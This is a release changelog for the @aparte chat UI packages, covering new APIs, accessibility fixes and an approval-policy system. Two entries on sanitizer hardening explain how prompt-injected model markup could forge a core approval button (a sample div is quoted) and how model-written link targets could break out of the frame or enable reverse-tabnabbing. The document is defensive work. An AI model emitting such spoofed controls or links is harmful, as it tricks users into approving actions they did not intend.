Skip to content

All versions since 0.15.0

0.15.0

Every @aparte/* package ships at this version (they are released in lockstep).

Minor Changes

  • 7502ed0: appendMessage(message, { historical: true }) now reaches the host from every wrapper — the React ref handle and useAparteChat, the Vue instance and useAparteChat, the Svelte component and createAparteChat, the Angular component — and AparteChatImperativeApi declares the option. A restored message is adopted as it is: no fresh timing stamps, isStreaming forced off, so a tool call read back from your own backend renders settled rather than spinning.

    The host had accepted the option all along (it is how a stored conversation loads), but every wrapper’s appendMessage(m) dropped the second argument on the way, so the replay-one-message-at-a-time path the core tests exercise was unreachable from a framework. Found by the second consumer, whose history lives on its own server. @aparte/core, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 952e488: ASK_USER_DECLINED is exported: the exact sentence the tool returns as its result when the user declines ('The user declined to answer.'). Import it instead of copying the literal — a host that turns tool results into prose, or recognises a declined question in its own transcript, matched the string by hand until now, and a rewording here would have broken it without a word.

    The constant existed for the receipt’s own sake (the card must show “declined” rather than pair that sentence with the first question as though the user had said it) and never left the module. Reported by a consumer who had checked. @aparte/plugin-ask-user

  • 0152d42: createAskUserTool({ systemPrompt: false }) (and setupAskUser with the same option) registers the tool with no system message at all. Until now the prompt could be replaced but not removed: '' still put a field on the tool, and since 0.13 that field is really sent as a system message. A product whose model is trained on a fixed contract, and must not read any added prose, had to strip the field off the returned object by hand. @aparte/plugin-ask-user

Patch Changes

  • 4590cbe: A focused option in the elicitation panel keeps its whole focus ring. The options sit in a scroll container, which clips at its padding edge, and the ring is drawn outside the option’s box — so a keyboard-focused option lost 4px of ring on every side (the border looked cut). The container now pads by the ring’s size and takes the space back with a negative margin, in the same tokens the ring reads (--aparte-focus-outline-width, --aparte-btn-focus-offset), so nothing moves and a wider ring gets a wider room. scroll-padding keeps a focused option’s ring in view when the list scrolls. @aparte/core

  • 4b73f83: AparteAIProviderMetadata — the return type of a provider’s getMetadata() (name, id, icon, colour) — is exported from @aparte/core. A provider written outside this repository had to spell it ReturnType<AparteAIProvider['getMetadata']>; reported by a consumer in July and again now. @aparte/core

  • 06e028b: A tool call’s input and result now wrap inside the bubble instead of running past its edge. A one-line result — an error message, a long path — was 1 823px of text in a 723px body (407px on a phone): the <pre> kept its default white-space: pre, so the whole disclosure was clipped at the message’s edge. It gets the same pair the code block already had, white-space: pre-wrap + overflow-wrap: anywhere; a stylesheet that targeted .aparte-tool-part-body pre keeps working, the rule only moved from prose.css to the tool-call segment’s own sheet. @aparte/core

  • 47dddaa: The showcase preset gains a survey turn — “two questions”, “a few questions” or “survey” makes the model ask two questions in one ask_user call, so the panel’s stepper (1 2, a Skip per step) has a scenario that shows it. Nothing in the repository rendered that mode until a consumer reported clipped borders on it; a state no example renders is a state nobody looks at. @aparte/provider-scenario

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr.

0.15.1

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 4856ab6: AparteAIProviderMetadata is now really importable from @aparte/core. 0.15.0’s changelog announced it and the package disagreed: the name had been added to the types module and not to the root barrel, whose type list is explicit, so the import was still TS2724 in the published dist/index.d.ts. A consumer checked the tarball. A test now imports it from the barrel, type-checked, so the barrel cannot drop it again quietly. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.

0.16.0

Every @aparte/* package ships at this version (they are released in lockstep).

Minor Changes

  • 99da790: The application shell: three recipes and one element, so a ChatGPT-style page can be built on aparté alone. .aparte-app-shell is the grid (sidebar beside, header above, __main in the rest); .aparte-app-header is the bar (a toggle shown under 48rem, a title, an __actions zone); <aparte-sidebar> wears the .aparte-sidebar recipe (__header, __search, __body, __footer) and carries the three behaviours a column has — it collapses (collapsed, reflected; any [data-aparte-sidebar-toggle] toggles it; aparte-sidebar-toggle fires), it becomes a drawer under 48rem — or under the length its breakpoint attribute names, and never with breakpoint="none" — (data-drawer, a scrim, Escape, focus returned to the opener), and an input carrying data-aparte-sidebar-search filters the conversation list by title. Tokens: --aparte-sidebar-width, --aparte-sidebar-bg, --aparte-app-header-height, --aparte-scrim; locale key sidebarLabel. A guide, “An application shell”, shows the whole page with a live demo.

    The line was drawn on 2026-08-29: shell chrome without product state is the library’s, like the viewport is; a recipe draws, an element exists only where there is behaviour — a header has none, a sidebar has three. What stays with the product: routing, authentication, the storage adapter, the contents of a settings panel. @aparte/core, @aparte/locale-fr

  • 41aaee8: An approval option can carry a description — a second line drawn under its label, string | (() => string) like the label so it follows a live language switch — to say what choosing it commits to: { label: 'Always allow this command', description: 'git status' } next to { label: 'Always allow any git command', description: 'git *' }.

    Issue #37: a host remembered the first word of a command while its button said only “Always allow”, and the panel had nowhere to show the reach of that “always”. A choice question’s options already had description; the approval side now has the same, drawn with the same body (.aparte-elic-option-title / .aparte-elic-option-desc). @aparte/core

  • bec58ff: A per-call approval policy: config.setApprovalPolicy((call, tool) => ruling) decides for every tool call whether it runs (allow), asks at the composer (ask), or is refused with a sentence of its own (deny + reason). undefined leaves the tool’s needsApproval to decide, as before. New exports AparteApprovalPolicy and AparteApprovalRuling; config.getApprovalPolicy() and config.ruleOnToolCall(call) read it back. A host’s own approvalResolver on AparteClientOptions is untouched — it already owns the decision.

    needsApproval is a declaration about a TOOL; a mode (“plan”: read-only, “auto”: never ask) is a decision about a CALL, and the same run_command can be a read or an execution. The client’s default channel consults the policy twice — once to decide whether the call pauses at all, so an allowed call never flashes awaiting approval, once to answer — and a refusal by policy reaches the model verbatim, never as “the user rejected this”. @aparte/plugin-approval builds the four modes on this seam. @aparte/core

  • 45574cd: A tool result can carry a structured value beside its prose: AparteToolResult.structuredContent (MCP’s name for exactly this field) travels with the call and lands on the transcript’s segment as AparteToolCallSegment.structuredResult. content is unchanged — it stays what the model reads.

    A tool renderer that had to parse its own JSON back out of the prose can read the value directly; @aparte/plugin-ask-user’s receipt and @aparte/plugin-artifacts’ card both do. @aparte/core

  • 4123389: aparte-approval-mode-change carries a typed detail: AparteApprovalModeChangeEventDetail ({ mode, previousMode }) is exported from @aparte/core and is in AparteEventMap, so a listener reads e.detail without a cast.

    The event is dispatched by @aparte/plugin-approval’s <aparte-approval-mode> when the person switches mode; it bubbles and crosses shadow roots, so a host can persist the choice from any ancestor. @aparte/plugin-approval re-exports the type. It is not in APARTE_DEFAULT_UI_EVENTS — a plugin’s events never are — so under a wrapper, pass the name: events: ['aparte-approval-mode-change'].

    The type lives in core for the same reason AparteModelChangeEventDetail does: the event map is core’s, and a listener in any framework reads its detail through it. mode and previousMode are plain strings — the four values (plan, ask, auto-edit, auto) are the plugin’s, and core names none of them.

    pnpm check:event-map refuses an event dispatched with a detail and absent from the map, since every listener would otherwise cast. @aparte/core

  • 22fe79e: A link in a model’s reply can no longer choose its own target: unless it is a _self on a link that was staying here anyway, it opens in a new tab with rel="noopener noreferrer".

    Breaking for model-authored markup only — no caller code changes, but a reply that writes target="_top", target="frame" or a rel of its own no longer gets what it asked for. Nothing a host writes is affected: the sanitizer only ever reads provider output.

    target and rel used to be allowlisted on <a> and copied through untouched, which handed the model two things. _top/_parent broke out of the frame the chat lives in — no external URL required, a same-site link did it — and in an Electron window that frame is the whole application. A NAMED target (target="victimframe") opened a page holding a live window.opener, which is the reverse-tabnabbing the _blank branch has always hardened against; rel="opener" simply cancelled that hardening. The attribute is now read as a wish and clamped: everything becomes a new tab that cannot reach back, and a model-written rel never survives. _self is the one wish honoured, and only where it changes nothing a browser would not already do — on a same-site or in-page link. On an off-site href it is not a preference but a downgrade: that link opens a new tab when no target is written at all, so honouring _self there would hand the model exactly the frame navigation this clamp refuses. @aparte/core

  • 22fe79e: Markup in a model’s reply can no longer wear a core class name: the sanitizer now drops any class token starting with aparte-.

    Breaking only for a markdown or highlight provider that deliberately emitted core’s own classes to borrow its recipes — a class token of any other shape is untouched, language-* included, which is the one class a highlighter is identified by.

    class is allowlisted because a highlighter’s output is mostly classes, and that let model-authored markup dress itself as core’s UI: <div class="aparte-approval-option aparte-btn">Approve</div> survived the sanitizer untouched and painted a pixel-perfect approval button inside the transcript, next to the real one. Every core surface can be forged the same way, and prompt injection is enough to write it. Core owns the aparte- prefix wherever it emits a class, so nothing arriving from a provider keeps one. @aparte/core

  • 4123389: The host’s clearMessages() takes { revokeAttachments?: boolean } and passes it to the viewport’s clearAll(), so a caller that empties the transcript and re-appends some of the same turns keeps their attachments working.

    Emptying the transcript releases the blob: object URL of every attachment it drops — a deliberate leak fix. A caller that puts some of those turns straight back (a compaction is the case in this repo) therefore re-appended them with dead URLs: every image and file chip on a surviving turn came back broken. Passing { revokeAttachments: false } keeps the URLs alive and leaves the caller to release the ones it really dropped.

    The option is on the whole chain, and each link forwards it: AparteChatImperativeApi.clearMessages(options?), AparteChatBinding.clearMessages(options?), the host’s clearMessages(options?) and the viewport bridge’s clearAll(options?). Optional everywhere — an existing call site and a binding of your own are unchanged, and clearMessages() with no argument still revokes.

    This is the half that makes @aparte/plugin-compaction keep those attachments under React, Vue, Svelte and Angular. Under a wrapper the transcript the plugin resolves is the wrapper’s own root element, whose clearAll bridge dropped the argument on the floor: the plugin asked, core did not carry, and the wrapper suites stayed green because the plugin’s own target is a plain array. @aparte/core

  • a7528d1: Two of the ten pre-beta audit fixes are visible to your code: AparteToolCallSegment.status gains the value failed (with a new optional locale key, toolFailed), and aparte-message-done no longer fires for a turn superseded by a retry or an edit on an earlier bubble. The other eight change no call you make.

    A tool handler that throws now settles its row on that failed status — badge and locale key — instead of spinning “Running” forever; a switch over status in a renderer of your own should answer it, and a locale of your own may translate toolFailed (it falls back to the built-in English otherwise). A superseded turn ends on its own signal rather than the client-wide abort flag the next send resets, which is why it no longer announces a reply that was cut.

    The rest. Core stamps data-segment-id on the root of every renderer’s output, tool renderers included — a root without it (the ask_user receipt) made every update of that segment wipe and rebuild the whole bubble, destroying a mounted artifact preview and collapsing an opened reasoning block. AparteMessageRepository.import() skips a repeated id (a snapshot naming itself as its own parent recursed forever). Under the four wrappers: a framework append is recorded in the viewport’s tree by the same act (a manual token stream used to invent a phantom root and reverse the path on the next branch operation); the transcript’s read-only-while-streaming flag has one writer per mode — setTranscriptBusy, written by the host — so retry, edit and the branch arrows are disabled during a reply as they were meant to be; and the conversation controller subscribes to a manager registered after bind(), which is every wrapper’s case, so deleting the active conversation elsewhere clears the binding. The node entry exports the element classes as types, as the docs promised. The composer button’s JSDoc no longer describes an “advance” meaning. @aparte/core

  • 95613d0: Escape closes the sidebar drawer from anywhere on the page, opening the drawer moves focus into it, and a collapsed sidebar carries inert + aria-hidden="true" so it holds no tab stop.

    Three halves of one gap. The keydown listener was on the element, so Escape worked only once the focus was already inside the drawer — and nothing put it there, so in the documented shell it did nothing at all. It listens on the document now; the drawer && !collapsed guard was always the whole filter.

    Opening the drawer moves the focus to its first focusable child, so the next Tab walks the drawer rather than the transcript underneath it, and closing still hands the focus back to the control that opened it.

    A collapsed sidebar — folded to nothing as a column, slid off screen as a drawer — now carries inert and aria-hidden="true". It was keeping every tab stop and its whole subtree in the accessibility tree while invisible. The element removes only what it wrote, so an inert you set yourself (the sidebar behind your own modal) survives a resize. @aparte/core

  • 00126e3: The approval panel now shows the tool call’s arguments under the question — the thing being approved is on the surface where you click.

    New details?: string on AparteElicitationRequest, and a fourth (optional) argument on buildApprovalPanel. Set it on your own requestUserInput({ kind: 'approval' }) and the text appears between the question and the options, in a capped, scrollable, keyboard-reachable block. It is rendered through textContent — never markup, and never a render hook: the content is model-authored, on the one control in the library whose whole job is to stop a model.

    The built-in gate fills it with the call’s pretty-printed JSON. Until now the panel asked Run delete_file? and stopped there, while which file — the whole of what a person is deciding — stayed in the transcript row behind a disclosure that stays closed on purpose. The guide had promised the opposite the entire time (“name and arguments, since the arguments are what is being approved”), and so had the client’s own docblock, which said the arguments stay in the transcript. Both now describe what happens.

    One function builds the text for both surfaces (describeToolInput, in utils/), because two renderings of one value drift — and here the drift would be a person approving a call they read differently from the one that runs. The transcript row still does not open itself: the panel is the decision surface now, so the last argument for unrolling it is gone. New locale key approvalArgsLabel (default “Arguments”), translated in @aparte/locale-fr. @aparte/core

  • 08bbdae: The transcript can now be focused and scrolled with the keyboard in Safari; it carries a name for screen readers.

    <aparte-chat-viewport>’s scroll surface gets tabindex="0" and an aria-label — on .aparte-viewport-container in the default mode, on the host itself in framework-managed mode, since that is what scrolls there. It also carries role="log", which the container already had and the host did not: aria-label is prohibited on an element whose role resolves to none, so a name without a role would have been the same defect mirrored. In framework-managed mode that makes the transcript a polite live region, as it already was in the default mode. The name comes from a new locale key, transcript (default “Transcript”), translated in @aparte/locale-fr and re-applied on a live language switch.

    If your app tabs through the page in a fixed order, there is one more stop in it, between the chrome above the chat and the composer.

    WebKit does not give an unfocusable overflow box a keyboard scroll of its own the way Chromium and Firefox do. So on Safari a plain-text transcript — no links, no code blocks, nothing focusable inside — stopped at the first screen for anyone not using a pointer, with no error and nothing on screen to say why. The framework mode looked fine and only by accident: the scroll-to-bottom button is a child of the host and stays tabbable while it is visually hidden, so Tab happened to land somewhere that scrolled. That is a coincidence, one hidden attribute away from taking the transcript’s keyboard access with it, so both modes now say what they mean. Proven in a real WebKit run (e2e/tests/transcript-keyboard.spec.ts), which is the only place the defect is visible at all. @aparte/core

  • 81d0b54: The message action bar is now one tab stop with Left/Right arrows inside it, as its role="toolbar" always claimed.

    Tabbing through a transcript is shorter: each bubble’s bar contributes one stop instead of one per button. Inside a bar, Left and Right move and wrap, Home and End jump to the ends, and disabled buttons are skipped — while a turn is streaming, retry and edit are disabled, and a toolbar whose arrows stop on a dead control reads as broken. The arrows follow the reading direction, so in an RTL transcript Left is the one that advances.

    The bar has announced itself as a toolbar since it existed, and a toolbar IS the roving-tabindex pattern: one member in the tab order, the arrows moving between them. What shipped was five independent tab stops per message, so the role described a behaviour that did not exist — a screen-reader user told “toolbar, five items” pressed Right and nothing moved.

    The model is re-derived in the one place all three build paths already funnel through, rather than in each builder, because the bar’s innerHTML is rewritten on a setBubbleActions, on entering and leaving the inline editor, and on a config change. A per-builder fix drifts the first time somebody adds a fourth path; the rebuild cases in the suite are what would catch that. @aparte/core

  • 3590e4a: The attachment ✕ label and the searchable select’s placeholder are now translatable (removeAttachment, selectSearchPlaceholder, selectSearchLabel).

    Three strings were hardcoded English. aria-label="Remove {file}" on the pending attachment’s ✕ and aria-label="Search options" on a searchable <aparte-select>’s filter are each the whole of what a screen-reader user hears on an unlabelled control. The third is worse: placeholder="Search..." is VISIBLE text, so a French page opened the model picker and read English in the box.

    removeAttachment uses the {name} convention approvalAsk and deleteConversationConfirm already use, and the file name is interpolated raw and escaped once at the end — reusing the tile’s already-escaped name would have escaped a & twice and read “rapport &amp; co”. All three are translated in @aparte/locale-fr, and each keeps its English literal as a fallback so a custom locale that omits one renders a word rather than an empty box.

    node scripts/check-locale-keys.mjs now cross-checks the two lists in both directions: a t('…') naming no declared key, a declared key with no default, and — the half TypeScript cannot see, because every locale key is optional — a key @aparte/locale-fr does not translate. @aparte/core, @aparte/locale-fr

  • 3c2e507: New @aparte/core/browser entry point: point your test runner at it so <aparte-*> elements upgrade under Vitest + jsdom.

    // vitest.config.ts — the array form matches on a regex, so ONLY the bare specifier is
    // rewritten. An object alias is a prefix alias: it would also send `@aparte/core/icons`
    // to `@aparte/core/browser/icons`, which is not exported.
    test: { environment: 'jsdom', alias: [{ find: /^@aparte\/core$/, replacement: '@aparte/core/browser' }] }

    Why it is needed. @aparte/core resolves the node export condition to a DOM-free entry, which is what makes import '@aparte/core' safe in Next, Nuxt, SvelteKit and Angular Universal. A test runner is also Node, so it took that entry too — and then jsdom supplied customElements while nothing had registered anything. document.createElement('aparte-chat') returned a plain HTMLElement, every assertion about the element’s own properties failed, and no error named the cause. There was no supported specifier to escape to: the four wrappers in this repo all aliased @aparte/core at ../../core/src/index.ts, reaching into another package’s source.

    registerAllComponents() on the DOM-free entry now says so: called with a DOM present, it logs one warning naming this specifier. A warning, not a throw — the environment is legal, only surprising.

    @aparte/core/package.json is exported as well, so a config can require.resolve it instead of hardcoding a path. The main . entry is unchanged and still resolves node first. @aparte/core

  • 3c2e507: APARTE_DEFAULT_UI_EVENTS gains ten names: aparte-suggestion, aparte-context-threshold, aparte-scroll-rail-jump, aparte-sidebar-toggle, aparte-split-resize, and the turn’s lifecycle — aparte-message-start, aparte-message-done, aparte-message-error, aparte-message-aborted and aparte-tool-approval-request.

    That constant is what all four wrappers’ <AparteUi> listens for when you pass no events of your own, so a name missing from it is an event a wrapper consumer cannot hear at all. It carried 25 of the 35 core dispatches on an element. Five of the missing ten were the entire up-stack surface of this release; the other five were excluded on a stated reason — “they go out through window.dispatchEvent” — that the code contradicts: dispatchLifecycleEvent sends them on the host element, bubbling and composed, and the composer’s window broadcast is a second path rather than the only one.

    aparte-abort, aparte-compact and aparte-config-change stay out, and now for a reason that is true of them: window is the only place they go.

    The list is checked against core’s dispatch sites by pnpm check:event-map, so “verified against core” is a check rather than a claim — it had been a claim twice, and been wrong twice. @aparte/core

  • 575ec7e: Removed the unused locale key tokensPerSecondLabel; nothing rendered it.

    If you set it, delete the line — it is ignored. A locale annotated : AparteLocale (the shape @aparte/locale-fr uses) now fails to compile on it; a bare object literal handed straight to setLocale still does not, because the open half of that parameter accepts any extra key. Nothing on screen changes: it was the one key of the eighty-odd with no reader anywhere in the repo, and its JSDoc named a “tokens-per-second perf chip” this library does not have.

    A locale key is a public contract a translator pays for, so one that renders nowhere is work asked of every locale author for no screen. config/__tests__/locale.test.ts now asserts that every declared key appears somewhere outside its two declaration sites, over a corpus with a floor — because a walk that silently shrinks would report “no unread keys” while reading four files. @aparte/core, @aparte/locale-fr

  • 575ec7e: AparteLocale is now closed, so t('typo') is a compile error instead of an empty label at runtime.

    Your own extra keys still work, and still round-trip: setLocale, extendLocale and getLocale all carry AparteLocale & AparteLocaleExtensions, the new open half, so a plugin reads its own key off getLocale() exactly as before. What changes is t(), which now accepts core’s own keys only — which is the point. (AparteLocale is a type alias rather than an interface, because an interface has no implicit index signature and so is not assignable to the extensions half.)

    The interface used to end with [key: string]: string | undefined, and that one line disabled the only compile-time check the locale had. AparteConfig.t(key: keyof AparteLocale) looks airtight; with an index signature keyof widens to string and every literal typechecks. An audit planted t('copy') → t('copyCodeBlock') as a deliberate mistake and nothing saw it: tsc --noEmit exited 0, t() returned '' at runtime, and the label rendered empty with no error, no warning and nothing on screen to notice. Three keys had already reached production that way (submitButton, stopButton, actionUpload — read for months, declared by nobody), and a user reported the last one from a live language switcher.

    node scripts/check-locale-keys.mjs is the second layer, for the places the compiler cannot reach: a computed t(key as never), and the mirror direction TypeScript is blind to — every locale key is optional, so a French bundle that MISSES one compiles perfectly and ships English in the middle of a French page. @aparte/core

  • ef6913c: The default density moves one step up, to where the kits a chat is compared against sit: --aparte-radius-unit 2px → 3px (radii 3/6/9/12/18px), --aparte-font-scale 1 → 1.08 (14px body text), --aparte-btn-size-sm/md/lg 20/28/36 → 24/32/40px, and the focus ring at 30% of the accent instead of 15%. A theme that set any of these keeps its value; the old look is four lines away, as the “compact” preset in the theming guide.

    The kit read as plain, and the measurement said why: on every axis — radius, control size, type size, ring — aparté was one step denser than shadcn or Radix. Nothing structural changed; the scales did. @aparte/core

  • 1b1a715: AparteClient.compact() and compactionSelector are removed: compaction is @aparte/plugin-compaction now (setupCompaction()), and the client no longer listens for aparte-compact. Replace client.compact() with setupCompaction({ keyResolver }).compact() — the resolver you gave the client, if any — and compactionSelector with the plugin’s selector (its prompt option is how you replace the summarising instruction). The type AparteCompactionSelector is gone with them. client.abort() no longer reaches a compaction: the stop button still does (the plugin listens for aparte-abort), and from code you call the controller’s own abort().

    What core keeps is the contract the plugin (or a host summarising by other means) relies on: a message with compaction: true is drawn as a notice by the viewport (data-kind="compaction" on the bubble — centred, no avatar, no actions) and sent to the model under a fixed preamble saying what it is, on every history path; _meta.compaction on a request names a summarisation for a backend transport; <aparte-context auto-compact> dispatches aparte-compact and resets on aparte-compact-done. The events gain a chat: aparte-compact-start now carries { targetId } (typed as AparteCompactStartEventDetail, in the event map), aparte-compact-done gains targetId and reason (empty / nothing-to-drop / running / streaming), aparte-compact-error gains targetId — so a gauge on a multi-chat page resets only its own.

    Why: no UI kit compacts and every agent SDK ships it as an opt-in module — a session wrapper, a middleware, a memory block. A summariser inside the client was another product’s habit wearing core’s type; the seam was already clean (the plugin uses only public APIs), so the behaviour moved and the seam stayed. @aparte/core

  • 4123389: The composer’s send button always means submit: AparteComposerPanelMode is 'submit' | 'none', the 'advance' member is gone, and so is the locale key elicitationNext.

    Breaking on two lines only. A switch or a comparison against 'advance' no longer compiles. And a locale annotated : AparteLocale — the shape @aparte/locale-fr uses — fails to compile on elicitationNext; a bare object literal handed to setLocale still passes, and the key is simply read by nothing. Delete the line.

    The button no longer “advances” through a form of several questions: it means submit throughout, enabled once every question has an answer, and the chips are the navigation — which was already true, since the chevron was a second way to do what a chip does. An answered chip now carries a check mark, and a recommended option a “Recommended” tag (new locale key elicitationRecommended).

    Measured against the reference product: Claude Code’s question panel switches questions by tab and submits everything with one button; a click selects and never submits. Ours did the same in a form, except for the button that pretended to be a “Next”. @aparte/core

  • 8b1a1d8: <aparte-context variant="ring"> draws the gauge as a ring with the percentage beside it, for a toolbar where a bar wants a width and a ring wants none; the full reading (100k / 128k) is the ring’s title. Same levels (warn / danger recolour the ring), same events, same accessible name — only the drawing differs. Two tokens size it: --aparte-context-ring-size (22px) and --aparte-context-ring-stroke (4, in the ring’s own 36-unit box). The default stays the bar. @aparte/core

  • e4b1fbe: <aparte-conversation-list> rows now carry one button that opens a menu — rename, pin/unpin, archive/unarchive, delete with a confirmation — instead of permanent archive and delete icons; the rows are grouped by date (Pinned, Today, Yesterday, Previous 7 days, Previous 30 days, then by month) as soon as an item has updatedAt, and no-groups renders them flat. Three events are new: aparte-rename-conversation ({ id, title }), aparte-pin-conversation and aparte-unpin-conversation ({ id }); AparteConversationListItem gains pinnedAt; AparteConversationManager gains pin(id) and unpin(id).

    What changes for a host that styled or scripted the old row:

    • The row is no longer a role="button" div with buttons inside it. It is a plain .aparte-conv-item wrapping two native buttons: .aparte-conv-item__select (the title, aria-current lives here now) and .aparte-conv-item__more. [data-conv-id] still marks the row.
    • .aparte-conv-item__archive and .aparte-conv-item__delete are gone, and with them the tokens --aparte-conv-delete-color, --aparte-conv-delete-bg-hover, --aparte-conv-delete-color-hover, --aparte-conv-delete-radius and the --aparte-conv-archive-* fallbacks. --aparte-conv-action-btn-size now sizes the .
    • The locale strings deleteConversation, archiveConversation and unarchiveConversation are menu items now and default to the bare verb (“Delete”, “Archive”, “Unarchive”). New keys: conversationActions, renameConversation, conversationTitle, pinConversation, unpinConversation, deleteConversationConfirm (with {title}), cancel, and the five conversationGroup* headings. Month headings are formatted with the locale’s tag.
    • Three icon names join the provider: more, pin, trash. trashIcon and moreHorizontalIcon are still exported from @aparte/core/icons, as aliases of the same drawings.

    Why the shape changed: two permanent icon buttons on every row — one of them turning red on hover — was the loudest element of the kit, and the first thing the maintainer named when asked what looked wrong. Every chat product on the market shows one quiet on hover, a menu behind it, and asks before the one action it cannot undo. The old row was also two buttons nested inside a role="button", which assistive technology does not model, with a synthetic Enter/Space handler to make the div act; two real buttons need none of that. The menu is placed with position: fixed and closes on any scroll, so the list’s own overflow cannot clip it and no anchoring library is needed. @aparte/core

  • d67fa45: The artifact leaves core: install @aparte/plugin-artifacts and call setupArtifacts() to get the <artifact> tag, the create_artifact tool and the Code/Preview card back. Removed from @aparte/core: the AparteArtifactSegment type (and 'artifact' from the AparteSegment union), the parser’s built-in <artifact> recognition, the aparte-artifact-start / -delta / -ready / -redownload and aparte-file-gen-ready / -error events and their detail types, the artifactRedownload / artifactRehydrate host handlers, setArtifactPreviewBuilder / getArtifactPreviewBuilder and AparteArtifactPreviewBuilder, _meta.artifactHint, deriveArtifactKind, the artifact stylesheet and its --aparte-art-* tokens.

    An artifact is a convention an app teaches its model, not something a model does by nature — so it is a plugin, end to end, like ask_user: a real tool, a renderer on its result, and a block grammar registered on the parser through the new registerStreamBlock. What core keeps is generic: the parser seam, AparteToolRenderer.update, and one rule in the history serializer — a segment of a type core does not know contributes its content, else its fallback — which is what kept an artifact readable by the model on the next turn and now covers every consumer type the same way. The eight locale strings the card reads (download, preview, code, generating, rebuildingPreview, previewPending, sandboxError, sandboxErrorHint) stay in AparteLocale, because a locale package translates one bag — @aparte/locale-fr is untouched. @aparte/core

  • 32762be: setElicitationOptions({ answerOnClick: false }) makes a single-choice question select-then-send (radios plus the composer’s button) instead of answering on the click; the default stays true.

    A question asked on its own with one choice — an enum without multiple or a default, a boolean without a default — renders its options as buttons, and the click is the answer. That is the shape every chat product uses and it stays the default; the switch exists for a host that wants a uniform “select, then send” across every question, or the chance to change one’s mind before committing. It is the host’s policy, like allowOther and layout: a form of several questions always collects and submits, whatever it says. @aparte/core

  • 0556897: The only model of the only registered provider is selected on its own, and a send dropped for want of a model says so in the console, once. registerAIProvider() selects the model when exactly one provider is registered, it lists exactly one model synchronously, and nothing is selected yet — a scripted or in-browser provider — and never overrides a choice already made or one among several. Nothing changes for a provider whose list comes from a fetch.

    Issue #29: a page built from the docs alone, with @aparte/provider-scenario and no <aparte-model-selector>, sent nothing — the user’s message sat there, no error, no console line — because no model was selected and there was nothing to select. The getting-started CDN snippet names its model now. @aparte/core

  • 6ba8397: The kit has a dialog: .aparte-dialog styles the browser’s own <dialog>__header, __title, __close, __body (the region that scrolls), __footer, the ::backdrop, --sm / --lg widths, a full-screen sheet under 30rem — and three attributes wire it with no script: data-aparte-dialog-open="id" on any control calls showModal() on the dialog it names, data-aparte-dialog-close inside one closes it (its value becomes the dialog’s returnValue), and a click on the backdrop closes it unless the dialog carries data-aparte-dialog-static. installDialogTriggersOnce() is exported for a host that builds its page before importing core.

    Issue #32, item 1. The kit used to say a modal was “deliberately absent — it needs a portal and a stack manager”; the browser has had both since 2022 in <dialog> + showModal() (top layer, focus trap, Escape, focus return), so the recipe styles that element and nothing wraps your content — a custom element that moved children into an inner <dialog> would have broken every framework that renders them. @aparte/core

  • c546d09: Two UI-kit classes: .aparte-menu__body + .aparte-menu__description for a two-line menu item, and .aparte-field-warning for a field’s sub-text in the warning tone.

    Both came from a shell moved onto the kit: a mode picker whose rows carry a name and a description had to lay a grid over .aparte-menu__item so the check gutter spanned both lines, and “this setting invalidates the saved states” had only -hint and -error to be painted as. The menu banner now also says that the check mark of a menuitemradio / menuitemcheckbox is drawn by the kit from aria-checked — the same consumer added a ”✓” of his own and got two. @aparte/core

  • 9a29df6: A link in a reply opens in its own tab, and a host can intercept it: the built-in sanitizer sets target="_blank" rel="noopener noreferrer" on every external http(s) link it lets through, and the bubble dispatches a cancelable aparte-link-click event (detail: { href, anchor, messageId }, bubbles to the chat host) before the browser follows any link in a message body — preventDefault() cancels the navigation so a host can route the link itself.

    A bare same-site or in-page link (relative, #, mailto:) is left as written. A same-site link that carries a target of its own is not: see the entry on model-written target and rel, which the sanitizer clamps rather than copies — only _self, and only where the link was staying here anyway, is honoured.

    Issue #38: marked sets no target, and the sanitizer only added rel when one was already present, so a model-written link was a bare <a href> that navigated the frame the chat lives in — in an Electron window, the whole application. A host that wants the old behaviour wraps the default sanitizer through setHtmlSanitizer() and strips target again. @aparte/core

  • d284c7e: New element <aparte-scroll-rail>: a rail of ticks beside the transcript, one per user turn (every="message" for one per message), that marks which message is under the reader and jumps back to any of them on a click. Place it as a direct child of <aparte-chat> (or the wrapper’s host); it floats on the transcript’s end edge, hides under a coarse pointer, and renders nothing below two ticks. A click fires a cancelable aparte-scroll-rail-jump ({ messageId }) before the scrollIntoView, so a host that pages history in can load it first. Four knobs: --aparte-scroll-rail-width, -tick-size, -tick-thickness, -gap; one locale key, scrollRailLabel.

    It reads the transcript and never owns it: which bubbles exist (a mutation observer on the chat), which one is under the reader (an intersection observer on the scroll surface), and the first words of each for the tick’s name. No product ships this natively — it exists as browser extensions and as open requests — which is why it is here. @aparte/core, @aparte/locale-fr

  • ea6fe97: Add <aparte-split>: two panes and a seam you can drag, arrow or collapse — the builder split, as an element.

    position in and one aparte-split-resize out on release; the library stores nothing, so persistence is one localStorage.setItem in your listener. The attribute is written on COMMIT only — a release, a key up, a double-click, a property set — and the live value during a drag travels on --aparte-split-position, so a framework’s reconciler is never in the drag loop. The number you get back is the ACHIEVED size after the clamp, so the attribute, aria-valuenow and the event’s detail are one number.

    The bounds are CSS: --aparte-split-min (20rem) and --aparte-split-max (60%) are clamp arguments in the grid template, so px, %, rem and ch all work and nothing in JS parses a unit. --aparte-split-handle-size (4px) is the seam and --aparte-split-hit-area (12px, the touch target on a coarse pointer) is the invisible zone you can grab it by.

    Keys, on the seam: the arrows step 1%, Shift 10% (an ecosystem convention, not the APG), Home and End go to the bounds, Enter collapses and a second Enter restores the size it had, Escape cancels a drag in flight. aria-orientation on the seam is the inverse of the element’s orientation — the attribute names the SEPARATOR’s axis, which is what ARIA 1.2 and the APG’s window splitter mean by it.

